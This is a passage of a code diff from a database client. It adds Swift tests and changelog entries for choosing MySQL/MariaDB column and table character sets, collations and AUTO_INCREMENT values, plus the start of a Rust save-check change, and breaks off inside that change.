+        #expect(AutoIncrementRange.maximum(forColumnType: "INT", unsigned: true) == 4_294_967_295)
+        #expect(AutoIncrementRange.maximum(forColumnType: "DOUBLE") == nil)
+        #expect(AutoIncrementRange.maximum(forColumnType: "VARCHAR(10)") == nil)
+    }
+
+    @Test("The catalog finds a character set, its collations and the set a collation belongs to")
+    func catalogLookups() {
+        #expect(Self.catalog.defaultCollation(for: "UTF8MB4") == "utf8mb4_0900_ai_ci")
+        #expect(Self.catalog.collations(for: "latin1") == ["latin1_bin", "latin1_swedish_ci"])
+        #expect(Self.catalog.collations(for: "koi8r").isEmpty)
+        #expect(Self.catalog.characterSet(owning: "utf8mb4_bin")?.name == "utf8mb4")
+        #expect(Self.catalog.characterSet(owning: "cp1251_bin") == nil)
+    }
+
+    @Test("A draft stages nothing until it differs, and a convert to the current set is a change")
+    func draftChanges() {
+        let loaded = TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", autoIncrement: 4)
+        var draft = TableOptionsDraft(original: loaded)
+        #expect(!draft.hasChanges)
+
+        draft.current?.convertsColumns = true
+        #expect(draft.characterSetChange == .modifyTableCharacterSet(
+            old: TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci"),
+            new: TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", convertsColumns: true)
+        ))
+        #expect(draft.autoIncrementChange == nil)
+    }
+
+    @Test("A draft over a failed read stages nothing")
+    func draftWithoutBaselineStagesNothing() {
+        var draft = TableOptionsDraft(original: nil)
+        draft.current = TableOptions(characterSet: "utf8mb4", collation: "utf8mb4_bin", autoIncrement: 10)
+        #expect(!draft.hasChanges)
+    }
+
+    @Test("A type that takes no character set clears the column's pair in the same write")
+    func nonTextTypeClearsThePair() {
+        var column = latinName()
+
+        column.setDataType("INT")
+
+        #expect(column.dataType == "INT")
+        #expect(column.charset == nil)
+        #expect(column.collation == nil)
+        #expect(column.toPlugin().charset == nil)
+    }
+
+    @Test("A text type keeps the column's pair")
+    func textTypeKeepsThePair() {
+        var column = latinName()
+
+        column.setDataType("TEXT")
+
+        #expect(column.charset == "latin1")
+        #expect(column.collation == "latin1_swedish_ci")
+    }
+
+    @Test("A grid type edit on an engine with character sets clears the pair")
+    func gridTypeEditClearsThePair() {
+        var column = latinName()
+
+        StructureEditingSupport.updateColumn(&column, at: 0, with: "INT", orderedFields: [.type, .charset, .collation])
+
+        #expect(column.charset == nil)
+        #expect(column.collation == nil)
+    }
+
+    @Test("A grid type edit on an engine without character sets keeps the collation for its driver")
+    func gridTypeEditWithoutCharsetFieldKeepsCollation() {
+        var column = latinName()
+        column.setCharacterSet(nil, collation: "C")
+
+        StructureEditingSupport.updateColumn(&column, at: 1, with: "integer", orderedFields: [.name, .type])
+
+        #expect(column.dataType == "integer")
+        #expect(column.collation == "C")
+    }
+
+    @Test("Picking a character set starts it on that set's default collation")
+    func characterSetPickTakesTheDefaultCollation() {
+        var column = latinName()
+
+        StructureEditingSupport.updateColumn(
+            &column, at: 0, with: "utf8mb4", orderedFields: [.charset], catalog: Self.catalog
+        )
+
+        #expect(column.charset == "utf8mb4")
+        #expect(column.collation == "utf8mb4_0900_ai_ci")
+    }
+
+    @Test("Picking the character set the column has keeps its collation")
+    func sameCharacterSetKeepsTheCollation() {
+        var column = latinName()
+        column.setCharacterSet("latin1", collation: "latin1_bin")
+
+        StructureEditingSupport.updateColumn(
+            &column, at: 0, with: "latin1", orderedFields: [.charset], catalog: Self.catalog
+        )
+
+        #expect(column.collation == "latin1_bin")
+    }
+
+    @Test("A character set picked without a catalog leaves the collation to the server")
+    func characterSetWithoutCatalogClearsCollation() {
+        var column = latinName()
+
+        StructureEditingSupport.updateColumn(&column, at: 0, with: "utf8mb4", orderedFields: [.charset])
+
+        #expect(column.charset == "utf8mb4")
+        #expect(column.collation == nil)
+    }
+
+    @Test("A collation from another character set moves the character set with it")
+    func collationCarriesItsCharacterSet() {
+        var column = latinName()
+
+        StructureEditingSupport.updateColumn(
+            &column, at: 0, with: "utf8mb4_bin", orderedFields: [.collation], catalog: Self.catalog
+        )
+
+        #expect(column.charset == "utf8mb4")
+        #expect(column.collation == "utf8mb4_bin")
+    }
+
+    @Test("A column carries its CHECK clause to the plugin and back")
+    func columnCheckRoundTrips() {
+        let info = ColumnInfo(
+            name: "n", dataType: "INT", isNullable: true, isPrimaryKey: false, columnCheck: "`n` > 0"
+        )
+        let column = EditableColumnDefinition.from(info)
+
+        #expect(column.toPlugin().columnCheck == "`n` > 0")
+        #expect(column.toColumnInfo().columnCheck == "`n` > 0")
+    }
+
+    @Test("A column copied to the clipboard leaves its CHECK clause behind")
+    func columnCheckIsNotEncoded() throws {
+        var column = latinName()
+        column.columnCheck = "`name` <> ''"
+
+        let data = try JSONEncoder().encode(column)
+        let decoded = try JSONDecoder().decode(EditableColumnDefinition.self, from: data)
+
+        #expect(decoded.columnCheck == nil)
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/ColumnCharacterSetMenusTests.swift b/apple/TableProTests/Views/Structure/ColumnCharacterSetMenusTests.swift
new file mode 100644
index 0000000000..fe141ce345
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/ColumnCharacterSetMenusTests.swift
@@ -0,0 +1,211 @@
+//
+//  ColumnCharacterSetMenusTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct ColumnCharacterSetMenusTests {
+    private static let catalog = TableOptionsCatalog(
+        characterSets: [
+            TableCharacterSet(
+                name: "latin1",
+                defaultCollation: "latin1_swedish_ci",
+                collations: ["latin1_bin", "latin1_swedish_ci"],
+                description: nil
+            ),
+            TableCharacterSet(
+                name: "utf8mb4",
+                defaultCollation: "utf8mb4_0900_ai_ci",
+                collations: ["utf8mb4_0900_ai_ci", "utf8mb4_bin", "utf8mb4_unicode_ci"],
+                description: nil
+            ),
+        ],
+        engines: ["InnoDB"],
+        defaultEngine: "InnoDB"
+    )
+
+    private static let loaded = ColumnCharacterSetMenus.Context(catalog: .loaded(catalog), tableCharacterSet: "utf8mb4")
+
+    private func column(
+        _ type: String = "VARCHAR(64)",
+        charset: String? = "latin1",
+        collation: String? = "latin1_swedish_ci"
+    ) -> EditableColumnDefinition {
+        EditableColumnDefinition(
+            id: UUID(), name: "name", dataType: type, isNullable: true, defaultValue: nil,
+            autoIncrement: false, unsigned: false, comment: nil, collation: collation,
+            onUpdate: nil, charset: charset, extra: nil, isPrimaryKey: false
+        )
+    }
+
+    private func values(_ options: [GridMenuOption]?) -> [String] {
+        (options ?? []).compactMap(\.sql)
+    }
+
+    private func titles(_ options: [GridMenuOption]?) -> [String] {
+        (options ?? []).compactMap { option in
+            switch option {
+            case .value(let title, _): return title
+            case .sectionHeader(let title): return title
+            case .clear(let title), .custom(let title): return title
+            }
+        }
+    }
+
+    // MARK: - Menus
+
+    @Test("The Charset menu lists the server's character sets after the table default")
+    func characterSetMenuListsTheCatalog() {
+        let options = ColumnCharacterSetMenus.options(for: .charset, column: column(), context: Self.loaded)
+        #expect(values(options) == ["", "latin1", "utf8mb4"])
+        #expect(titles(options).first == String(localized: "Table Default"))
+    }
+
+    @Test("The Collation menu lists only the row's character set, its default marked")
+    func collationMenuFollowsTheRow() {
+        let options = ColumnCharacterSetMenus.options(for: .collation, column: column(), context: Self.loaded)
+        #expect(values(options) == ["latin1_bin", "latin1_swedish_ci"])
+        #expect(titles(options).contains(TableOptionsForm.collationTitle("latin1_swedish_ci", isDefault: true)))
+        #expect(!values(options).contains("utf8mb4_bin"))
+    }
+
+    @Test("A row with no character set of its own lists the table's collations")
+    func collationMenuFallsBackToTheTable() {
+        let options = ColumnCharacterSetMenus.options(
+            for: .collation, column: column(charset: nil, collation: nil), context: Self.loaded
+        )
+        #expect(values(options) == ["utf8mb4_0900_ai_ci", "utf8mb4_bin", "utf8mb4_unicode_ci"])
+    }
+
+    @Test("A name the catalog does not list stays an item, so the cell's value is always in its menu")
+    func currentValueStaysAnItem() {
+        let options = ColumnCharacterSetMenus.options(
+            for: .charset, column: column(charset: "utf8", collation: "utf8_general_ci"), context: Self.loaded
+        )
+        #expect(values(options).contains("utf8"))
+    }
+
+    @Test("A type with no character set has no menu and both cells are read-only", arguments: ["INT", "VARBINARY(16)", "JSON"])
+    func nonTextTypeIsReadOnly(type: String) {
+        let integer = column(type, charset: nil, collation: nil)
+        #expect(ColumnCharacterSetMenus.options(for: .charset, column: integer, context: Self.loaded) == nil)
+        #expect(ColumnCharacterSetMenus.options(for: .collation, column: integer, context: Self.loaded) == nil)
+        #expect(ColumnCharacterSetMenus.locks(.charset, column: integer, catalog: Self.loaded.catalog))
+        #expect(ColumnCharacterSetMenus.locks(.collation, column: integer, catalog: Self.loaded.catalog))
+        #expect(ColumnCharacterSetMenus.entry("latin1", for: .charset, column: integer, context: Self.loaded) == .refused)
+    }
+
+    @Test("A catalog that failed leaves the current value, read-only, never free text")
+    func failedCatalogIsReadOnly() {
+        let context = ColumnCharacterSetMenus.Context(catalog: .failed("timeout"), tableCharacterSet: nil)
+        let options = ColumnCharacterSetMenus.options(for: .charset, column: column(), context: context)
+        #expect(values(options) == ["latin1"])
+        #expect(titles(options).first == String(localized: "Couldn't read the character sets"))
+        #expect(ColumnCharacterSetMenus.locks(.charset, column: column(), catalog: context.catalog))
+        #expect(ColumnCharacterSetMenus.entry("utf8mb4", for: .charset, column: column(), context: context) == .refused)
+    }
+
+    @Test("An engine whose driver has no catalog keeps the plain text cell")
+    func noCatalogKeepsFreeText() {
+        let context = ColumnCharacterSetMenus.Context(catalog: .loaded(nil), tableCharacterSet: nil)
+        #expect(!ColumnCharacterSetMenus.offersMenus(context.catalog))
+        #expect(ColumnCharacterSetMenus.options(for: .charset, column: column(), context: context) == nil)
+        #expect(!ColumnCharacterSetMenus.locks(.charset, column: column(), catalog: context.catalog))
+        #expect(ColumnCharacterSetMenus.entry("anything", for: .charset, column: column(), context: context) == .unchecked)
+    }
+
+    // MARK: - Entries
+
+    @Test("Picking a character set takes its default collation in the same write")
+    func characterSetTakesItsDefaultCollation() {
+        let entry = ColumnCharacterSetMenus.entry("UTF8MB4", for: .charset, column: column(), context: Self.loaded)
+        #expect(entry == .set(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci"))
+    }
+
+    @Test("A name the server does not have is refused")
+    func unknownNameIsRefused() {
+        #expect(ColumnCharacterSetMenus.entry("klingon", for: .charset, column: column(), context: Self.loaded) == .refused)
+        #expect(ColumnCharacterSetMenus.entry("klingon_ci", for: .collation, column: column(), context: Self.loaded) == .refused)
+    }
+
+    @Test("Picking the character set the column has keeps its collation")
+    func sameCharacterSetIsUnchanged() {
+        let binary = column(collation: "latin1_bin")
+        #expect(ColumnCharacterSetMenus.entry("latin1", for: .charset, column: binary, context: Self.loaded) == .unchanged)
+    }
+
+    @Test("A collation from another character set moves the column to that set")
+    func foreignCollationMovesTheSet() {
+        let entry = ColumnCharacterSetMenus.entry("utf8mb4_bin", for: .collation, column: column(), context: Self.loaded)
+        #expect(entry == .set(characterSet: "utf8mb4", collation: "utf8mb4_bin"))
+    }
+
+    @Test("Table Default clears both, so the column takes the table's")
+    func emptyClearsBoth() {
+        #expect(ColumnCharacterSetMenus.entry("", for: .charset, column: column(), context: Self.loaded)
+            == .set(characterSet: nil, collation: nil))
+    }
+
+    // MARK: - Row provider and the write
+
+    @Test("Charset and Collation are row-dependent menus only while the grid picks from a catalog")
+    func rowProviderMarksTheCells() throws {
+        let manager = StructureChangeManager()
+        manager.workingColumns = [column()]
+        let picking = StructureRowProvider(
+            changeManager: manager, tab: .columns, databaseType: .mysql,
+            serverSupport: .unrestricted, picksCharacterSets: true
+        )
+        let charset = try #require(picking.orderedColumnFields.firstIndex(of: .charset))
+        let collation = try #require(picking.orderedColumnFields.firstIndex(of: .collation))
+        #expect(picking.rowDependentDropdownColumns == [charset, collation])
+        #expect(picking.dropdownColumns.isSuperset(of: [charset, collation]))
+
+        let plain = StructureRowProvider(changeManager: manager, tab: .columns, databaseType: .mysql, serverSupport: .unrestricted)
+        #expect(plain.rowDependentDropdownColumns.isEmpty)
+    }
+
+    @Test("A grid pick writes the character set and its default collation together")
+    func gridPickStagesThePair() throws {
+        let manager = StructureChangeManager()
+        manager.workingColumns = [column()]
+        let fields: [StructureColumnField] = [.name, .type, .charset, .collation]
+        let charsetField = try #require(fields.firstIndex(of: .charset))
+
+        #expect(!StructureGridEdits.refuses(
+            "utf8mb4", field: charsetField, sourceIndex: 0, tab: .columns,
+            manager: manager, orderedFields: fields, characterSets: Self.loaded
+        ))
+        StructureGridEdits.apply(
+            "utf8mb4", field: charsetField, sourceIndex: 0, tab: .columns, manager: manager,
+            orderedFields: fields, connection: TestFixtures.makeConnection(type: .mysql), characterSets: Self.loaded
+        )
+
+        let edited = try #require(manager.workingColumns.first)
+        #expect(edited.charset == "utf8mb4")
+        #expect(edited.collation == "utf8mb4_0900_ai_ci")
+    }
+
+    @Test("A typed name the catalog lacks never reaches the column")
+    func refusedTextLeavesTheColumn() throws {
+        let manager = StructureChangeManager()
+        manager.workingColumns = [column()]
+        let fields: [StructureColumnField] = [.name, .type, .charset, .collation]
+        let charsetField = try #require(fields.firstIndex(of: .charset))
+
+        #expect(StructureGridEdits.refuses(
+            "utf8mb5", field: charsetField, sourceIndex: 0, tab: .columns,
+            manager: manager, orderedFields: fields, characterSets: Self.loaded
+        ))
+        StructureGridEdits.apply(
+            "utf8mb5", field: charsetField, sourceIndex: 0, tab: .columns, manager: manager,
+            orderedFields: fields, connection: TestFixtures.makeConnection(type: .mysql), characterSets: Self.loaded
+        )
+        #expect(manager.workingColumns.first?.charset == "latin1")
+    }
+}
diff --git a/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift b/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift
index bdb7f6f6b4..286b5b4328 100644
--- a/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureEditingSessionTests.swift
@@ -125,7 +125,7 @@ struct StructureEditingSessionTests {
             session.selectedTab = tab
             #expect(session.activeGridModel === session.gridModel, "\(tab.rawValue)")
         }
-        for tab in [StructureTab.ddl, .parts, .triggers] {
+        for tab in [StructureTab.options, .ddl, .parts, .triggers] {
             session.selectedTab = tab
             #expect(session.activeGridModel == nil, "\(tab.rawValue)")
         }
diff --git a/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift b/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift
index 0fbb1918d4..d2c3e38272 100644
--- a/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureFooterPolicyTests.swift
@@ -124,7 +124,7 @@ struct StructureFooterPolicyTests {
 
     @Test("The tabs with nothing to add have no operation and no pair")
     func nonEditableTabsHaveNoPair() {
-        for tab in [StructureTab.ddl, .parts, .triggers] {
+        for tab in [StructureTab.options, .ddl, .parts, .triggers] {
             #expect(StructureFooterPolicy.operation(forAdding: tab) == nil, "\(tab.rawValue)")
             #expect(StructureFooterPolicy.operation(forRemoving: tab) == nil, "\(tab.rawValue)")
             #expect(!resolve(tab: tab, kind: .table).isActive, "\(tab.rawValue)")
diff --git a/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift b/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift
index c34d51cdd6..a013912f7e 100644
--- a/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift
@@ -64,7 +64,7 @@ struct StructureGridAdapterAddRowTests {
         #expect(manager.workingForeignKeys.count == before + 1)
     }
 
-    @Test("Add Row does nothing on a sub-tab without a grid", arguments: [StructureTab.ddl, .parts, .triggers])
+    @Test("Add Row does nothing on a sub-tab without a grid", arguments: [StructureTab.options, .ddl, .parts, .triggers])
     func gridlessTabAddsNothing(tab: StructureTab) {
         let (adapter, manager) = makeAdapter(selectedTab: tab)
         let before = counts(manager)
@@ -72,7 +72,7 @@ struct StructureGridAdapterAddRowTests {
         #expect(counts(manager) == before)
     }
 
-    @Test("Delete does nothing on a sub-tab without a grid", arguments: [StructureTab.ddl, .parts, .triggers])
+    @Test("Delete does nothing on a sub-tab without a grid", arguments: [StructureTab.options, .ddl, .parts, .triggers])
     func gridlessTabDeletesNothing(tab: StructureTab) {
         let (adapter, manager) = makeAdapter(selectedTab: tab)
         let before = counts(manager)
diff --git a/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift b/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift
index e57b525f12..f9b86cebfb 100644
--- a/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureInspectorRowBuilderTests.swift
@@ -158,7 +158,7 @@ struct StructureInspectorRowBuilderTests {
         #expect(!row.isEditable)
     }
 
-    @Test("Tabs without a row grid supply nothing", arguments: [StructureTab.ddl, .parts, .triggers])
+    @Test("Tabs without a row grid supply nothing", arguments: [StructureTab.options, .ddl, .parts, .triggers])
     func nonGridTabsSupplyNothing(tab: StructureTab) {
         let manager = loadedManager()
         #expect(StructureInspectorRowBuilder.row(
diff --git a/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift b/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift
index 4b01c5801c..77308cd14b 100644
--- a/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift
@@ -40,6 +40,26 @@ struct StructureTabAvailabilityTests {
         }
     }
 
+    // The gate is the driver's statement probe for the object, so any engine whose driver answers gets the tab.
+    @Test("Options follows the driver's answer, not the engine type")
+    func optionsFollowsTheDriver() {
+        #expect(StructureTabAvailability.tabs(for: .postgresql, serverSupport: .unrestricted, offersTableOptions: true)
+            .contains(.options))
+        #expect(!StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted, offersTableOptions: false)
+            .contains(.options))
+        #expect(!StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted).contains(.options))
+    }
+
+    @Test("Options sits after the editable tabs and before DDL")
+    func optionsSitsBeforeDDL() throws {
+        let tabs = StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted, offersTableOptions: true)
+        let options = try #require(tabs.firstIndex(of: .options))
+        let ddl = try #require(tabs.firstIndex(of: .ddl))
+        let columns = try #require(tabs.firstIndex(of: .columns))
+        #expect(columns < options)
+        #expect(options < ddl)
+    }
+
     @Test("Parts is ClickHouse only, and the server refusal does not reach it")
     func partsIsClickHouseOnly() {
         #expect(StructureTabAvailability.tabs(for: .clickhouse, serverSupport: .unrestricted).contains(.parts))
diff --git a/apple/TableProTests/Views/Structure/TableOptionsFormTests.swift b/apple/TableProTests/Views/Structure/TableOptionsFormTests.swift
new file mode 100644
index 0000000000..454acf42a3
--- /dev/null
+++ b/apple/TableProTests/Views/Structure/TableOptionsFormTests.swift
@@ -0,0 +1,139 @@
+//
+//  TableOptionsFormTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import Testing
+
+@MainActor
+struct TableOptionsFormTests {
+    private static let catalog = TableOptionsCatalog(
+        characterSets: [
+            TableCharacterSet(
+                name: "latin1",
+                defaultCollation: "latin1_swedish_ci",
+                collations: ["latin1_bin", "latin1_swedish_ci"],
+                description: nil
+            ),
+            TableCharacterSet(
+                name: "utf8mb4",
+                defaultCollation: "utf8mb4_0900_ai_ci",
+                collations: ["utf8mb4_0900_ai_ci", "utf8mb4_bin"],
+                description: nil
+            ),
+        ],
+        engines: ["InnoDB", "MyISAM"],
+        defaultEngine: "InnoDB"
+    )
+
+    // MARK: - Pickers
+
+    @Test("The table's own character set is an item even when the catalog does not list it")
+    func characterSetKeepsTheCurrentValue() {
+        #expect(TableOptionsForm.characterSets(in: Self.catalog, keeping: "utf8") == ["utf8", "latin1", "utf8mb4"])
+        #expect(TableOptionsForm.characterSets(in: Self.catalog, keeping: "LATIN1") == ["latin1", "utf8mb4"])
+        #expect(TableOptionsForm.characterSets(in: nil, keeping: "latin1") == ["latin1"])
+    }
+
+    @Test("Collations follow the character set, with its default marked")
+    func collationsFollowTheCharacterSet() {
+        let choices = TableOptionsForm.collations(in: Self.catalog, characterSet: "latin1", keeping: "latin1_bin")
+        #expect(choices.map { $0.name } == ["latin1_bin", "latin1_swedish_ci"])
+        #expect(choices.filter { $0.isDefault }.map { $0.name } == ["latin1_swedish_ci"])
+        #expect(choices.last?.title == TableOptionsForm.collationTitle("latin1_swedish_ci", isDefault: true))
+    }
+
+    @Test("A collation the catalog lacks for the set stays an item")
+    func collationKeepsTheCurrentValue() {
+        let choices = TableOptionsForm.collations(in: Self.catalog, characterSet: "utf8mb4", keeping: "utf8mb4_uca1400_ai_ci")
+        #expect(choices.first?.name == "utf8mb4_uca1400_ai_ci")
+        #expect(choices.count == 3)
+    }
+
+    @Test("Picking a character set takes its default collation in the same value and keeps the rest")
+    func selectingCharacterSetIsOneValue() {
+        let options = TableOptions(
+            characterSet: "latin1", collation: "latin1_bin", convertsColumns: true, autoIncrement: 42
+        )
+        let next = TableOptionsForm.selectingCharacterSet("utf8mb4", in: options, catalog: Self.catalog)
+        #expect(next == TableOptions(
+            characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", convertsColumns: true, autoIncrement: 42
+        ))
+    }
+
+    @Test("The engine list marks the server's default")
+    func enginesMarkTheDefault() {
+        let engines = TableOptionsForm.engines(in: Self.catalog, keeping: nil)
+        #expect(engines.map { $0.name } == ["InnoDB", "MyISAM"])
+        #expect(engines.filter { $0.isDefault }.map { $0.name } == ["InnoDB"])
+    }
+
+    // MARK: - Next Auto Increment
+
+    private func column(_ type: String, unsigned: Bool = false) -> EditableColumnDefinition {
+        EditableColumnDefinition(
+            id: UUID(), name: "id", dataType: type, isNullable: false, defaultValue: nil,
+            autoIncrement: true, unsigned: unsigned, comment: nil, collation: nil,
+            onUpdate: nil, charset: nil, extra: nil, isPrimaryKey: true
+        )
+    }
+
+    @Test("The range is the AUTO_INCREMENT column's type, its own unsigned flag included")
+    func rangeFollowsTheColumn() {
+        #expect(AutoIncrementEntry.maximum(for: column("INT")) == 2_147_483_647)
+        #expect(AutoIncrementEntry.maximum(for: column("TINYINT", unsigned: true)) == 255)
+        #expect(AutoIncrementEntry.maximum(for: column("BIGINT UNSIGNED")) == UInt64.max)
+    }
+
+    @Test("A whole number in the range is a counter")
+    func validCounter() {
+        #expect(AutoIncrementEntry("500", maximum: 2_147_483_647) == .value(500))
+        #expect(AutoIncrementEntry(" 7 ", maximum: 2_147_483_647) == .value(7))
+        #expect(AutoIncrementEntry("255", maximum: 255) == .value(255))
+        #expect(AutoIncrementEntry("", maximum: 255) == .empty)
+    }
+
+    @Test("Zero, signs, separators and other text are refused", arguments: ["0", "-1", "+5", "1,000", "1.5", "abc"])
+    func invalidCounter(text: String) {
+        #expect(AutoIncrementEntry(text, maximum: 2_147_483_647) == .invalid(maximum: 2_147_483_647))
+    }
+
+    @Test("Past the column type's maximum the next INSERT fails, so the field refuses it")
+    func counterPastTheType() {
+        let entry = AutoIncrementEntry("128", maximum: AutoIncrementEntry.maximum(for: column("TINYINT")))
+        #expect(entry == .invalid(maximum: 127))
+        #expect(entry.message?.contains("127") == true)
+        #expect(AutoIncrementEntry("2147483648", maximum: 2_147_483_647).message?.contains("2147483647") == true)
+    }
+
+    @Test("An exhausted TINYINT counter the server reports stands until the user types another")
+    func untouchedCounterPastTheType() {
+        #expect(AutoIncrementEntry("128", maximum: 127, original: 128) == .value(128))
+        #expect(AutoIncrementEntry("129", maximum: 127, original: 128) == .invalid(maximum: 127))
+    }
+
+    // MARK: - Editability
+
+    @Test("A save in progress holds the form")
+    func savingHoldsTheForm() {
+        let editability = StructureTableOptionsPolicy.resolve(hasBaseline: true, isReadOnly: false, isSaving: true)
+        #expect(!editability.isEditable)
+        #expect(editability.unavailableReason == StructureFooterPolicy.savingReason)
+    }
+
+    @Test("Nothing stages until the options are read")
+    func noBaselineStagesNothing() {
+        #expect(StructureTableOptionsPolicy.resolve(hasBaseline: false, isReadOnly: false, isSaving: false)
+            == .init(isEditable: false, unavailableReason: nil))
+    }
+
+    @Test("Read-only Safe Mode shows the values and says why they cannot change")
+    func readOnlySaysWhy() {
+        let editability = StructureTableOptionsPolicy.resolve(hasBaseline: true, isReadOnly: true, isSaving: false)
+        #expect(!editability.isEditable)
+        #expect(editability.unavailableReason != nil)
+        #expect(StructureTableOptionsPolicy.resolve(hasBaseline: true, isReadOnly: false, isSaving: false).isEditable)
+    }
+}
diff --git a/apple/changelog.d/3866.added.1.md b/apple/changelog.d/3866.added.1.md
new file mode 100644
index 0000000000..b0018b44ab
--- /dev/null
+++ b/apple/changelog.d/3866.added.1.md
@@ -0,0 +1 @@
+Pick a column's character set and collation from the server's own list in Structure and Create Table.
diff --git a/apple/changelog.d/3866.added.md b/apple/changelog.d/3866.added.md
new file mode 100644
index 0000000000..44e3d26046
--- /dev/null
+++ b/apple/changelog.d/3866.added.md
@@ -0,0 +1 @@
+Change a MySQL or MariaDB table's character set, collation and next AUTO_INCREMENT value in Structure > Options.
diff --git a/apple/changelog.d/3866.fixed.1.md b/apple/changelog.d/3866.fixed.1.md
new file mode 100644
index 0000000000..50f42671ca
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.1.md
@@ -0,0 +1 @@
+New Database and Duplicate Database on MariaDB 10.10 and later did not offer the uca1400 collations.
diff --git a/apple/changelog.d/3866.fixed.2.md b/apple/changelog.d/3866.fixed.2.md
new file mode 100644
index 0000000000..96d851c0f4
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.2.md
@@ -0,0 +1 @@
+The MariaDB table list showed no character set for tables on a uca1400 collation.
diff --git a/apple/changelog.d/3866.fixed.3.md b/apple/changelog.d/3866.fixed.3.md
new file mode 100644
index 0000000000..35283e1a2e
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.3.md
@@ -0,0 +1 @@
+Create Table on MySQL wrote utf8mb4_unicode_ci instead of the database's own default collation.
diff --git a/apple/changelog.d/3866.fixed.4.md b/apple/changelog.d/3866.fixed.4.md
new file mode 100644
index 0000000000..d94769e29e
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.4.md
@@ -0,0 +1 @@
+Create Table offered MySQL storage engines the server does not have.
diff --git a/apple/changelog.d/3866.fixed.5.md b/apple/changelog.d/3866.fixed.5.md
new file mode 100644
index 0000000000..30eee75e2d
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.5.md
@@ -0,0 +1 @@
+Editing a column on MariaDB removed its CHECK constraint, the JSON validity check included.
diff --git a/apple/changelog.d/3866.fixed.6.md b/apple/changelog.d/3866.fixed.6.md
new file mode 100644
index 0000000000..ccb25cf702
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.6.md
@@ -0,0 +1 @@
+Changing a column's character set saved without asking first, though characters can be lost.
diff --git a/apple/changelog.d/3866.fixed.md b/apple/changelog.d/3866.fixed.md
new file mode 100644
index 0000000000..b96805e309
--- /dev/null
+++ b/apple/changelog.d/3866.fixed.md
@@ -0,0 +1 @@
+Changing a MySQL text column to a numeric type failed with a syntax error about CHARACTER SET.
diff --git a/linux/changelog.d/3866.added.1.md b/linux/changelog.d/3866.added.1.md
new file mode 100644
index 0000000000..507d5b6118
--- /dev/null
+++ b/linux/changelog.d/3866.added.1.md
@@ -0,0 +1 @@
+Pick a column's character set and collation in the Structure column form on MySQL and MariaDB.
diff --git a/linux/changelog.d/3866.added.md b/linux/changelog.d/3866.added.md
new file mode 100644
index 0000000000..44e3d26046
--- /dev/null
+++ b/linux/changelog.d/3866.added.md
@@ -0,0 +1 @@
+Change a MySQL or MariaDB table's character set, collation and next AUTO_INCREMENT value in Structure > Options.
diff --git a/linux/changelog.d/3866.fixed.1.md b/linux/changelog.d/3866.fixed.1.md
new file mode 100644
index 0000000000..a14a0755b8
--- /dev/null
+++ b/linux/changelog.d/3866.fixed.1.md
@@ -0,0 +1 @@
+Changing a timestamp column's precision on MySQL failed with error 1067 or 1294.
diff --git a/linux/changelog.d/3866.fixed.md b/linux/changelog.d/3866.fixed.md
new file mode 100644
index 0000000000..952a9964c0
--- /dev/null
+++ b/linux/changelog.d/3866.fixed.md
@@ -0,0 +1 @@
+Retyping a MySQL column as VARCHAR (n) or character varying dropped its character set and collation.
diff --git a/linux/crates/app/src/services/pending_structure.rs b/linux/crates/app/src/services/pending_structure.rs
index 1fe4381362..4e438e8863 100644
--- a/linux/crates/app/src/services/pending_structure.rs
+++ b/linux/crates/app/src/services/pending_structure.rs
@@ -16,6 +16,9 @@ pub struct PendingStructure {
     /// draft still holds the default from before, so saving it would
     /// drop what the user typed without a word.
     pub unparsed_defaults: Vec<String>,
+    /// The Next Auto Increment the user typed is no value the numbered
+    /// column takes, so the draft holds the table's own.
+    pub invalid_auto_increment: bool,
 }
 
 /// Why a structure cannot be saved as it stands.
@@ -23,6 +26,7 @@ pub struct PendingStructure {
 pub enum SaveBlocker {
     Draft(DraftProblem),
     UnparsedDefault(String),
+    InvalidAutoIncrement,
 }
 
 impl PendingStructure {
@@ -30,28 +34,36 @@ impl PendingStructure {
     /// never pass the tab's own Save button.
     pub fn check(&self) -> Result<(), SaveBlocker> {
         self.draft.validate().map_err(SaveBlocker::Draft)?;
-        match self.unparsed_defaults.first() {
-            Some(column) => Err(SaveBlocker::UnparsedDefault(column.clone())),
-            None => Ok(()),
+        if let Some(column) = self.unparsed_defaults.first() {
+            return Err(SaveBlocker::UnparsedDefault(column.clone()));
         }
+        match self.invalid_auto_increment {
